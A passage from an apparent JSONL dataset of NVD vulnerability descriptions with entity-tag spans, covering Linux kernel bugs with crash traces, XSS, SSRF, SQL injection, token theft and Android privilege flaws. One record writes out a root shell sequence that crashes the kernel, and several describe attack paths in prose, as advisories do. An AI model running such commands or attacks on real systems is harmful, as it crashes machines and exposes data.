drm_kms_helper_poll_disable+0x1e/0x40 [drm_kms_helper]\n[  770.948923]  drm_mode_config_helper_suspend+0x1c/0x80 [drm_kms_helper]\n[  770.948933]  ? __pfx_vmbus_suspend+0x10/0x10 [hv_vmbus]\n[  770.948942]  hyperv_vmbus_suspend+0x17/0x40 [hyperv_drm]\n[  770.948944]  ? __pfx_vmbus_suspend+0x10/0x10 [hv_vmbus]\n[  770.948951]  dpm_run_callback+0x4c/0x140\n[  770.948954]  __device_suspend_noir\n---truncated---", "spans": {"FILEPATH: /09/2022": [[1938, 1946]], "FILEPATH: workqueue.c": [[873, 884]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1763, 1770]], "ORGANIZATION: Microsoft": [[1850, 1859]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35927"}}
{"text": "Nautobot is a Network Source of Truth and Network Automation Platform built as a web application All users of Nautobot versions earlier than 1.6.6 or 2.0.5 are potentially affected by a cross-site scripting vulnerability. Due to incorrect usage of Django's `mark_safe()` API when rendering certain types of user-authored content; including custom links, job buttons, and computed fields; it is possible that users with permission to create or edit these types of content could craft a malicious payload (such as JavaScript code) that would be executed when rendering pages containing this content. The maintainers have fixed the incorrect uses of `mark_safe()` (generally by replacing them with appropriate use of `format_html()` instead) to prevent such malicious data from being executed. Users on Nautobot 1.6.x LTM should upgrade to v1.6.6 and users on Nautobot 2.0.x should upgrade to v2.0.5. Appropriate object permissions can and should be applied to restrict which users are permitted to create or edit the aforementioned types of user-authored content. Other than that, there is no direct workaround available.", "spans": {"VULNERABILITY: cross-site scripting": [[186, 206]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-48705"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/deadline: Stop dl_server before CPU goes offline\n\nIBM CI tool reported kernel warning[1] when running a CPU removal\noperation through drmgr[2]. i.e \"drmgr -c cpu -r -q 1\"\n\nWARNING: CPU: 0 PID: 0 at kernel/sched/cpudeadline.c:219 cpudl_set+0x58/0x170\nNIP [c0000000002b6ed8] cpudl_set+0x58/0x170\nLR [c0000000002b7cb8] dl_server_timer+0x168/0x2a0\nCall Trace:\n[c000000002c2f8c0] init_stack+0x78c0/0x8000 (unreliable)\n[c0000000002b7cb8] dl_server_timer+0x168/0x2a0\n[c00000000034df84] __hrtimer_run_queues+0x1a4/0x390\n[c00000000034f624] hrtimer_interrupt+0x124/0x300\n[c00000000002a230] timer_interrupt+0x140/0x320\n\nGit bisects to: commit 4ae8d9aa9f9d (\"sched/deadline: Fix dl_server getting stuck\")\n\nThis happens since:\n- dl_server hrtimer gets enqueued close to cpu offline, when\n  kthread_park enqueues a fair task.\n- CPU goes offline and drmgr removes it from cpu_present_mask.\n- hrtimer fires and warning is hit.\n\nFix it by stopping the dl_server before CPU is marked dead.\n\n[1]: https://lore.kernel.org/all/8218e149-7718-4432-9312-f97297c352b9@linux.ibm.com/\n[2]: https://github.com/ibm-power-utilities/powerpc-utils/tree/next/src/drmgr\n\n[sshegde: wrote the changelog and tested it]", "spans": {"URL: https://lore.kernel.org/all/8218e149-7718-4432-9312-f97297c352b9@linux.ibm.com/": [[1053, 1132]], "URL: https://github.com/ibm-power-utilities/powerpc-utils/tree/next/src/drmgr": [[1138, 1210]], "FILEPATH: /sched/cpudeadline.c": [[279, 299]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[125, 128]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40163"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndpll: fix dpll_pin_on_pin_register() for multiple parent pins\n\nIn scenario where pin is registered with multiple parent pins via\ndpll_pin_on_pin_register(..), all belonging to the same dpll device.\nA second call to dpll_pin_on_pin_unregister(..) would cause a call trace,\nas it tries to use already released registration resources (due to fix\nintroduced in b446631f355e). In this scenario pin was registered twice,\nso resources are not yet expected to be release until each registered\npin/pin pair is unregistered.\n\nCurrently, the following crash/call trace is produced when ice driver is\nremoved on the system with installed E810T NIC which includes dpll device:\n\nWARNING: CPU: 51 PID: 9155 at drivers/dpll/dpll_core.c:809 dpll_pin_ops+0x20/0x30\nRIP: 0010:dpll_pin_ops+0x20/0x30\nCall Trace:\n ? __warn+0x7f/0x130\n ? dpll_pin_ops+0x20/0x30\n dpll_msg_add_pin_freq+0x37/0x1d0\n dpll_cmd_pin_get_one+0x1c0/0x400\n ? __nlmsg_put+0x63/0x80\n dpll_pin_event_send+0x93/0x140\n dpll_pin_on_pin_unregister+0x3f/0x100\n ice_dpll_deinit_pins+0xa1/0x230 [ice]\n ice_remove+0xf1/0x210 [ice]\n\nFix by adding a parent pointer as a cookie when creating a registration,\nalso when searching for it. For the regular pins pass NULL, this allows to\ncreate separated registration for each parent the pin is registered with.", "spans": {"FILEPATH: /dpll/dpll_core.c": [[771, 788]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36002"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Have trace_event_file have ref counters\n\nThe following can crash the kernel:\n\n # cd /sys/kernel/tracing\n # echo 'p:sched schedule' > kprobe_events\n # exec 5>>events/kprobes/sched/enable\n # > kprobe_events\n # exec 5>&-\n\nThe above commands:\n\n 1. Change directory to the tracefs directory\n 2. Create a kprobe event (doesn't matter what one)\n 3. Open bash file descriptor 5 on the enable file of the kprobe event\n 4. Delete the kprobe event (removes the files too)\n 5. Close the bash file descriptor 5\n\nThe above causes a crash!\n\n BUG: kernel NULL pointer dereference, address: 0000000000000028\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 0 P4D 0\n Oops: 0000 [#1] PREEMPT SMP PTI\n CPU: 6 PID: 877 Comm: bash Not tainted 6.5.0-rc4-test-00008-g2c6b6b1029d4-dirty #186\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014\n RIP: 0010:tracing_release_file_tr+0xc/0x50\n\nWhat happens here is that the kprobe event creates a trace_event_file\n\"file\" descriptor that represents the file in tracefs to the event. It\nmaintains state of the event (is it enabled for the given instance?).\nOpening the \"enable\" file gets a reference to the event \"file\" descriptor\nvia the open file descriptor. When the kprobe event is deleted, the file is\nalso deleted from the tracefs system which also frees the event \"file\"\ndescriptor.\n\nBut as the tracefs file is still opened by user space, it will not be\ntotally removed until the final dput() is called on it. But this is not\ntrue with the event \"file\" descriptor that is already freed. If the user\ndoes a write to or simply closes the file descriptor it will reference the\nevent \"file\" descriptor that was just freed, causing a use-after-free bug.\n\nTo solve this, add a ref count to the event \"file\" descriptor as well as a\nnew flag called \"FREED\". The \"file\" will not be freed until the last\nreference is released. But the FREE flag will be set when the event is\nremoved to prevent any more modifications to that event from happening,\neven if there's still a reference to the event \"file\" descriptor.", "spans": {"FILEPATH: /sys/kernel/tracing": [[162, 181]], "FILEPATH: /kprobes/sched/enable": [[242, 263]], "FILEPATH: /01/2014": [[972, 980]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[905, 909]], "VULNERABILITY: NULL pointer dereference": [[617, 641]], "VULNERABILITY: use-after-free": [[1816, 1830]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52879"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Fix null pointer dereference in tracing_err_log_open()\n\nFix an issue in function 'tracing_err_log_open'.\nThe function doesn't call 'seq_open' if the file is opened only with\nwrite permissions, which results in 'file->private_data' being left as null.\nIf we then use 'lseek' on that opened file, 'seq_lseek' dereferences\n'file->private_data' in 'mutex_lock(&m->lock)', resulting in a kernel panic.\nWriting to this node requires root privileges, therefore this bug\nhas very little security impact.\n\nTracefs node: /sys/kernel/tracing/error_log\n\nExample Kernel panic:\n\nUnable to handle kernel NULL pointer dereference at virtual address 0000000000000038\nCall trace:\n mutex_lock+0x30/0x110\n seq_lseek+0x34/0xb8\n __arm64_sys_lseek+0x6c/0xb8\n invoke_syscall+0x58/0x13c\n el0_svc_common+0xc4/0x10c\n do_el0_svc+0x24/0x98\n el0_svc+0x24/0x88\n el0t_64_sync_handler+0x84/0xe4\n el0t_64_sync+0x1b4/0x1b8\nCode: d503201f aa0803e0 aa1f03e1 aa0103e9 (c8e97d02)\n---[ end trace 561d1b49c12cf8a5 ]---\nKernel panic - not syncing: Oops: Fatal exception", "spans": {"FILEPATH: /sys/kernel/tracing/error_log": [[589, 618]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: null pointer dereference": [[82, 106]], "VULNERABILITY: NULL pointer dereference": [[667, 691]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53167"}}
{"text": "FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a Server-Side Request Forgery (SSRF) vulnerability in the IMAP/SMTP connection test functionality of FreeScout's `MailboxesController`. Three AJAX actions  `fetch_test` (line 731), `send_test` (line 682), and `imap_folders` (line 773) in `app/Http/Controllers/MailboxesController.php`  pass admin-configured `in_server`/`in_port` and `out_server`/`out_port` values directly to `fsockopen()` via `Helper::checkPort()` and to IMAP/SMTP client connections with zero SSRF protection. There is no IP validation, no hostname restriction, no blocklist of internal ranges, and no call to the project's own `sanitizeRemoteUrl()` or `checkUrlIpAndHost()` functions. The validation block in `connectionIncomingSave()` is entirely commented out. An authenticated admin can configure a mailbox's IMAP or SMTP server to point at any internal host and port, then trigger a connection test. The server opens raw TCP connections (via `fsockopen()`) and protocol-level connections (via IMAP client or SMTP transport) to the attacker-specified target. The response differentiates open from closed ports, enabling internal network port scanning. When the IMAP client connects to a non-IMAP service, the target's service banner or error response is captured in the IMAP debug log and returned in the AJAX response's `log` field, making this a semi-blind SSRF that enables service fingerprinting. In cloud environments, the metadata endpoint at `169[.]254[.]169[.]254` can be probed and partial response data may be leaked through protocol error messages. This is distinct from the `sanitizeRemoteUrl()` redirect bypass (freescout-3) -- different code path, different root cause, different protocol layer. Version 1.8.213 patches the vulnerability.", "spans": {"FILEPATH: /Http/Controllers/MailboxesController.php": [[335, 376]], "VULNERABILITY: Server-Side Request Forgery": [[95, 122]], "VULNERABILITY: SSRF": [[124, 128], [556, 560], [1426, 1430]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40566"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/pseries/iommu: IOMMU incorrectly marks MMIO range in DDW\n\nPower Hypervisor can possibily allocate MMIO window intersecting with\nDynamic DMA Window (DDW) range, which is over 32-bit addressing.\n\nThese MMIO pages needs to be marked as reserved so that IOMMU doesn't map\nDMA buffers in this range.\n\nThe current code is not marking these pages correctly which is resulting\nin LPAR to OOPS while booting. The stack is at below\n\nBUG: Unable to handle kernel data access on read at 0xc00800005cd40000\nFaulting instruction address: 0xc00000000005cdac\nOops: Kernel access of bad area, sig: 11 [#1]\nLE PAGE_SIZE=64K MMU=Hash SMP NR_CPUS=2048 NUMA pSeries\nModules linked in: af_packet rfkill ibmveth(X) lpfc(+) nvmet_fc nvmet nvme_keyring crct10dif_vpmsum nvme_fc nvme_fabrics nvme_core be2net(+) nvme_auth rtc_generic nfsd auth_rpcgss nfs_acl lockd grace sunrpc fuse configfs ip_tables x_tables xfs libcrc32c dm_service_time ibmvfc(X) scsi_transport_fc vmx_crypto gf128mul crc32c_vpmsum dm_mirror dm_region_hash dm_log dm_multipath dm_mod sd_mod scsi_dh_emc scsi_dh_rdac scsi_dh_alua t10_pi crc64_rocksoft_generic crc64_rocksoft sg crc64 scsi_mod\nSupported: Yes, External\nCPU: 8 PID: 241 Comm: kworker/8:1 Kdump: loaded Not tainted 6.4.0-150600.23.14-default #1 SLE15-SP6 b44ee71c81261b9e4bab5e0cde1f2ed891d5359b\nHardware name: IBM,9080-M9S POWER9 (raw) 0x4e2103 0xf000005 of:IBM,FW950.B0 (VH950_149) hv:phyp pSeries\nWorkqueue: events work_for_cpu_fn\nNIP:  c00000000005cdac LR: c00000000005e830 CTR: 0000000000000000\nREGS: c00001400c9ff770 TRAP: 0300   Not tainted  (6.4.0-150600.23.14-default)\nMSR:  800000000280b033 <SF,VEC,VSX,EE,FP,ME,IR,DR,RI,LE>  CR: 24228448  XER: 00000001\nCFAR: c00000000005cdd4 DAR: c00800005cd40000 DSISR: 40000000 IRQMASK: 0\nGPR00: c00000000005e830 c00001400c9ffa10 c000000001987d00 c00001400c4fe800\nGPR04: 0000080000000000 0000000000000001 0000000004000000 0000000000800000\nGPR08: 0000000004000000 0000000000000001 c00800005cd40000 ffffffffffffffff\nGPR12: 0000000084228882 c00000000a4c4f00 0000000000000010 0000080000000000\nGPR16: c00001400c4fe800 0000000004000000 0800000000000000 c00000006088b800\nGPR20: c00001401a7be980 c00001400eff3800 c000000002a2da68 000000000000002b\nGPR24: c0000000026793a8 c000000002679368 000000000000002a c0000000026793c8\nGPR28: 000008007effffff 0000080000000000 0000000000800000 c00001400c4fe800\nNIP [c00000000005cdac] iommu_table_reserve_pages+0xac/0x100\nLR [c00000000005e830] iommu_init_table+0x80/0x1e0\nCall Trace:\n[c00001400c9ffa10] [c00000000005e810] iommu_init_table+0x60/0x1e0 (unreliable)\n[c00001400c9ffa90] [c00000000010356c] iommu_bypass_supported_pSeriesLP+0x9cc/0xe40\n[c00001400c9ffc30] [c00000000005c300] dma_iommu_dma_supported+0xf0/0x230\n[c00001400c9ffcb0] [c00000000024b0c4] dma_supported+0x44/0x90\n[c00001400c9ffcd0] [c00000000024b14c] dma_set_mask+0x3c/0x80\n[c00001400c9ffd00] [c0080000555b715c] be_probe+0xc4/0xb90 [be2net]\n[c00001400c9ffdc0] [c000000000986f3c] local_pci_probe+0x6c/0x110\n[c00001400c9ffe40] [c000000000188f28] work_for_cpu_fn+0x38/0x60\n[c00001400c9ffe70] [c00000000018e454] process_one_work+0x314/0x620\n[c00001400c9fff10] [c00000000018f280] worker_thread+0x2b0/0x620\n[c00001400c9fff90] [c00000000019bb18] kthread+0x148/0x150\n[c00001400c9fffe0] [c00000000000ded8] start_kernel_thread+0x14/0x18\n\nThere are 2 issues in the code\n\n1. The index is \"int\" while the address is \"unsigned long\". This results in\n   negative value when setting the bitmap.\n\n2. The DMA offset is page shifted but the MMIO range is used as-is (64-bit\n   address). MMIO address needs to be page shifted as well.", "spans": {"HASH: b44ee71c81261b9e4bab5e0cde1f2ed891d5359b": [[1339, 1379]], "FILEPATH: /pseries/iommu": [[76, 90]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[1395, 1398], [1443, 1446]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57999"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid out-of-boundary access in dnode page\n\nAs Jiaming Zhang reported:\n\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x1c1/0x2a0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0x17e/0x800 mm/kasan/report.c:480\n kasan_report+0x147/0x180 mm/kasan/report.c:593\n data_blkaddr fs/f2fs/f2fs.h:3053 [inline]\n f2fs_data_blkaddr fs/f2fs/f2fs.h:3058 [inline]\n f2fs_get_dnode_of_data+0x1a09/0x1c40 fs/f2fs/node.c:855\n f2fs_reserve_block+0x53/0x310 fs/f2fs/data.c:1195\n prepare_write_begin fs/f2fs/data.c:3395 [inline]\n f2fs_write_begin+0xf39/0x2190 fs/f2fs/data.c:3594\n generic_perform_write+0x2c7/0x910 mm/filemap.c:4112\n f2fs_buffered_write_iter fs/f2fs/file.c:4988 [inline]\n f2fs_file_write_iter+0x1ec8/0x2410 fs/f2fs/file.c:5216\n new_sync_write fs/read_write.c:593 [inline]\n vfs_write+0x546/0xa90 fs/read_write.c:686\n ksys_write+0x149/0x250 fs/read_write.c:738\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xf3/0x3d0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nThe root cause is in the corrupted image, there is a dnode has the same\nnode id w/ its inode, so during f2fs_get_dnode_of_data(), it tries to\naccess block address in dnode at offset 934, however it parses the dnode\nas inode node, so that get_dnode_addr() returns 360, then it tries to\naccess page address from 360 + 934 * 4 = 4096 w/ 4 bytes.\n\nTo fix this issue, let's add sanity check for node id of all direct nodes\nduring f2fs_get_dnode_of_data().", "spans": {"FILEPATH: /kasan/report.c": [[283, 298], [340, 355], [388, 403]], "FILEPATH: /f2fs/f2fs.h": [[424, 436], [472, 484]], "FILEPATH: /f2fs/node.c": [[539, 551]], "FILEPATH: /f2fs/data.c": [[589, 601], [630, 642], [690, 702]], "FILEPATH: /f2fs/file.c": [[789, 801], [854, 866]], "FILEPATH: /x86/entry/syscall_64.c": [[1024, 1047], [1090, 1113]], "FILEPATH: dump_stack.c": [[180, 192], [237, 249]], "FILEPATH: filemap.c": [[746, 755]], "FILEPATH: read_write.c": [[891, 903], [943, 955], [987, 999]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38677"}}
{"text": "An issue was discovered in a third-party com.factory.mmigroup component, shipped on devices from multiple device manufacturers. Certain software builds for various Android devices contain a vulnerable pre-installed app with a package name of com.factory.mmigroup (versionCode='3', versionName='2.1) that allows local third-party apps to perform various actions, due to inadequate access control, in its context (system user), but the functionalities exposed depend on the specific device. The following capabilities are exposed to zero-permission, third-party apps on the following devices: arbitrary AT command execution via AT command injection (T-Mobile Revvl 6 Pro 5G, T-Mobile Revvl V+ 5G, and Boost Mobile Celero 5G); programmatic factory reset (Samsung Galaxy A03S, T-Mobile Revvl 6 Pro 5G, T-Mobile Revvl V+ 5G, Boost Mobile Celero, Realme C25Y, and Lenovo Tab M8 HD), leaking IMEI (Samsung Galaxy A03S, T-Mobile Revvl 6 Pro 5G, T-Mobile Revvl V+ 5G, Boost Mobile Celero, and Realme C25Y); leaking serial number (Samsung Galaxy A03s, T-Mobile Revvl 6 Pro 5G, T-Mobile Revvl V+ 5G, Boost Mobile Celero, Realme C25Y, and Lenovo Tab M8 HD); powering off the device (Realme C25Y, Samsung Galaxy A03S, and T-Mobile Revvl 6 Pro 5G); and programmatically enabling/disabling airplane mode (Samsung Galaxy A03S, T-Mobile Revvl 6 Pro 5G, T-Mobile Revvl V+ 5G, Boost Mobile Celero, and Realme C25Y); and enabling Wi-Fi, Bluetooth, and GPS (Samsung Galaxy A03S, T-Mobile Revvl 6 Pro 5G, T-Mobile Revvl V+ 5G, Boost Mobile Celero, and Realme C25Y). No permissions or special privileges are necessary to exploit the vulnerabilities in the com.factory.mmigroup app. No user interaction is required beyond installing and running a third-party app. The software build fingerprints for each confirmed vulnerable device are as follows: Boost Mobile Celero 5G (Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V067:user/release-keys, Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V064:user/release-keys, Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V061:user/release-keys, and Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V052:user/release-keys); Samsung Galaxy A03S (samsung/a03sutfn/a03su:13/TP1A.220624.014/S134DLUDU6CWB6:user/release-keys and samsung/a03sutfn/a03su:12/SP1A.210812.016/S134DLUDS5BWA1:user/release-keys); Lenovo Tab M8 HD (Lenovo/LenovoTB-8505F/8505F:10/QP1A.190711.020/S300637_220706_BMP:user/release-keys and Lenovo/LenovoTB-8505F/8505F:10/QP1A.190711.020/S300448_220114_BMP:user/release-keys); T-Mobile Revvl 6 Pro 5G (T-Mobile/Augusta/Augusta:12/SP1A.210812.016/SW_S98121AA1_V070:user/release-keys and T-Mobile/Augusta/Augusta:12/SP1A.210812.016/SW_S98121AA1_V066:user/release-keys); T-Mobile Revvl V+ 5G (T-Mobile/Sprout/Sprout:11/RP1A.200720.011/SW_S98115AA1_V077:user/release-keys and T-Mobile/Sprout/Sprout:11/RP1A.200720.011/SW_S98115AA1_V060:user/release-keys); and Realme C25Y (realme/RMX3269/RED8F6:11/RP1A.201005.001/1675861640000:user/release-keys, realme/RMX3269/RED8F6:11/RP1A.201005.001/1664031768000:user/release-keys, realme/RMX3269/RED8F6:11/RP1A.201005.001/1652814687000:user/release-keys, and realme/RMX3269/RED8F6:11/RP1A.201005.001/1635785712000:user/release-keys). This malicious app sends a broadcast Intent to com.factory.mmigroup/.MMIGroupReceiver. This causes the com.factory.mmigroup app to dynamically register for various action strings. The malicious app can then send these strings, allowing it to perform various behaviors that the com.factory.mmigroup app exposes. The actual behaviors exposed by the com.factory.mmigroup app depend on device model and chipset. The com.factory.mmigroup app executes as the \"system\" user, allowing it to interact with the baseband processor and perform various other sensitive actions.", "spans": {"FILEPATH: /Jupiter/Jupiter": [[1857, 1873], [1938, 1954], [2019, 2035], [2104, 2120]], "FILEPATH: /RP1A.200720.011/SW_S98119AA1_V067": [[1876, 1910]], "FILEPATH: /RP1A.200720.011/SW_S98119AA1_V064": [[1957, 1991]], "FILEPATH: /RP1A.200720.011/SW_S98119AA1_V061": [[2038, 2072]], "FILEPATH: /RP1A.200720.011/SW_S98119AA1_V052": [[2123, 2157]], "FILEPATH: /a03sutfn/a03su": [[2206, 2221], [2285, 2300]], "FILEPATH: /TP1A.220624.014/S134DLUDU6CWB6": [[2224, 2255]], "FILEPATH: /SP1A.210812.016/S134DLUDS5BWA1": [[2303, 2334]], "FILEPATH: /LenovoTB-8505F/8505F": [[2379, 2400], [2467, 2488]], "FILEPATH: /QP1A.190711.020/S300637_220706_BMP": [[2403, 2438]], "FILEPATH: /QP1A.190711.020/S300448_220114_BMP": [[2491, 2526]], "FILEPATH: /Augusta/Augusta": [[2580, 2596], [2664, 2680]], "FILEPATH: /SP1A.210812.016/SW_S98121AA1_V070": [[2599, 2633]], "FILEPATH: /SP1A.210812.016/SW_S98121AA1_V066": [[2683, 2717]], "FILEPATH: /Sprout/Sprout": [[2768, 2782], [2850, 2864]], "FILEPATH: /RP1A.200720.011/SW_S98115AA1_V077": [[2785, 2819]], "FILEPATH: /RP1A.200720.011/SW_S98115AA1_V060": [[2867, 2901]], "FILEPATH: /RMX3269/RED8F6": [[2945, 2960], [3019, 3034], [3093, 3108], [3171, 3186]], "FILEPATH: /RP1A.201005.001/1675861640000": [[2963, 2993]], "FILEPATH: /RP1A.201005.001/1664031768000": [[3037, 3067]], "FILEPATH: /RP1A.201005.001/1652814687000": [[3111, 3141]], "FILEPATH: /RP1A.201005.001/1635785712000": [[3189, 3219]], "SYSTEM: Android": [[164, 171]], "ORGANIZATION: Samsung": [[752, 759], [891, 898], [1021, 1028], [1184, 1191], [1290, 1297], [1437, 1444], [2178, 2185]], "ORGANIZATION: Lenovo": [[858, 864], [1127, 1133], [2355, 2361], [2373, 2379], [2461, 2467]], "VULNERABILITY: command injection": [[629, 646]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38297"}}
{"text": "Gradio is an open-source Python package designed for quick prototyping. Starting in version 4.16.0 and prior to version 6.6.0, Gradio applications running outside of Hugging Face Spaces automatically enable \"mocked\" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `\"-v4\"`, making the payload trivially decodable. Version 6.6.0 fixes the issue.", "spans": {"FILEPATH: /login/huggingface": [[305, 323]], "SYSTEM: Python": [[25, 31]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27167"}}
{"text": "An issue was discovered in Observium Professional, Enterprise & Community 20.8.10631. It is vulnerable to SQL Injection due to the fact that it is possible to inject malicious SQL statements in malformed parameter types. Sending an improper variable type of Array allows a bypass of core SQL Injection sanitization. Authenticated users are able to inject malicious SQL queries. This vulnerability leads to full database leak including ckeys that can be used in the authentication process without knowing the username and cleartext password. This can occur via the ajax/actions.php group_id field.", "spans": {"FILEPATH: actions.php": [[569, 580]], "VULNERABILITY: SQL Injection": [[106, 119], [288, 301]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25130"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The implementation of the `DepthwiseConv` TFLite operator is vulnerable to a division by zero error(https://github.com/tensorflow/tensorflow/blob/1a8e885b864c818198a5b2c0cbbeca5a1e833bc8/tensorflow/lite/kernels/depthwise_conv.cc#L287-L288). An attacker can craft a model such that `input`'s fourth dimension would be 0. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/1a8e885b864c818198a5b2c0cbbeca5a1e833bc8/tensorflow/lite/kernels/depthwise_conv.cc#L287-L288": [[171, 309]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29602"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixSetDiagV*`. The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong. We have patched the issue in GitHub commit ff8894044dfae5568ecbf2ed514c1a37dc394f1b. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc": [[250, 385]], "HASH: ff8894044dfae5568ecbf2ed514c1a37dc394f1b": [[703, 743]], "ORGANIZATION: GitHub": [[689, 695]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37658"}}
{"text": "Cross Site Scripting (XSS) in MyBB v1.8.20 allows remote attackers to inject arbitrary web script or HTML via the \"Title\" field found in the \"Add New Forum\" page by doing an authenticated POST HTTP request to '/Upload/admin/index.php?module=forum-management&action=add'.", "spans": {"FILEPATH: /Upload/admin/index.php": [[210, 233]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-19048"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: cros-ec-tunnel: defer probe if parent EC is not present\n\nWhen i2c-cros-ec-tunnel and the EC driver are built-in, the EC parent\ndevice will not be found, leading to NULL pointer dereference.\n\nThat can also be reproduced by unbinding the controller driver and then\nloading i2c-cros-ec-tunnel module (or binding the device).\n\n[  271.991245] BUG: kernel NULL pointer dereference, address: 0000000000000058\n[  271.998215] #PF: supervisor read access in kernel mode\n[  272.003351] #PF: error_code(0x0000) - not-present page\n[  272.008485] PGD 0 P4D 0\n[  272.011022] Oops: Oops: 0000 [#1] SMP NOPTI\n[  272.015207] CPU: 0 UID: 0 PID: 3859 Comm: insmod Tainted: G S                  6.15.0-rc1-00004-g44722359ed83 #30 PREEMPT(full)  3c7fb39a552e7d949de2ad921a7d6588d3a4fdc5\n[  272.030312] Tainted: [S]=CPU_OUT_OF_SPEC\n[  272.034233] Hardware name: HP Berknip/Berknip, BIOS Google_Berknip.13434.356.0 05/17/2021\n[  272.042400] RIP: 0010:ec_i2c_probe+0x2b/0x1c0 [i2c_cros_ec_tunnel]\n[  272.048577] Code: 1f 44 00 00 41 57 41 56 41 55 41 54 53 48 83 ec 10 65 48 8b 05 06 a0 6c e7 48 89 44 24 08 4c 8d 7f 10 48 8b 47 50 4c 8b 60 78 <49> 83 7c 24 58 00 0f 84 2f 01 00 00 48 89 fb be 30 06 00 00 4c 9\n[  272.067317] RSP: 0018:ffffa32082a03940 EFLAGS: 00010282\n[  272.072541] RAX: ffff969580b6a810 RBX: ffff969580b68c10 RCX: 0000000000000000\n[  272.079672] RDX: 0000000000000000 RSI: 0000000000000282 RDI: ffff969580b68c00\n[  272.086804] RBP: 00000000fffffdfb R08: 0000000000000000 R09: 0000000000000000\n[  272.093936] R10: 0000000000000000 R11: ffffffffc0600000 R12: 0000000000000000\n[  272.101067] R13: ffffffffa666fbb8 R14: ffffffffc05b5528 R15: ffff969580b68c10\n[  272.108198] FS:  00007b930906fc40(0000) GS:ffff969603149000(0000) knlGS:0000000000000000\n[  272.116282] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  272.122024] CR2: 0000000000000058 CR3: 000000012631c000 CR4: 00000000003506f0\n[  272.129155] Call Trace:\n[  272.131606]  <TASK>\n[  272.133709]  ? acpi_dev_pm_attach+0xdd/0x110\n[  272.137985]  platform_probe+0x69/0xa0\n[  272.141652]  really_probe+0x152/0x310\n[  272.145318]  __driver_probe_device+0x77/0x110\n[  272.149678]  driver_probe_device+0x1e/0x190\n[  272.153864]  __driver_attach+0x10b/0x1e0\n[  272.157790]  ? driver_attach+0x20/0x20\n[  272.161542]  bus_for_each_dev+0x107/0x150\n[  272.165553]  bus_add_driver+0x15d/0x270\n[  272.169392]  driver_register+0x65/0x110\n[  272.173232]  ? cleanup_module+0xa80/0xa80 [i2c_cros_ec_tunnel 3a00532f3f4af4a9eade753f86b0f8dd4e4e5698]\n[  272.182617]  do_one_initcall+0x110/0x350\n[  272.186543]  ? security_kernfs_init_security+0x49/0xd0\n[  272.191682]  ? 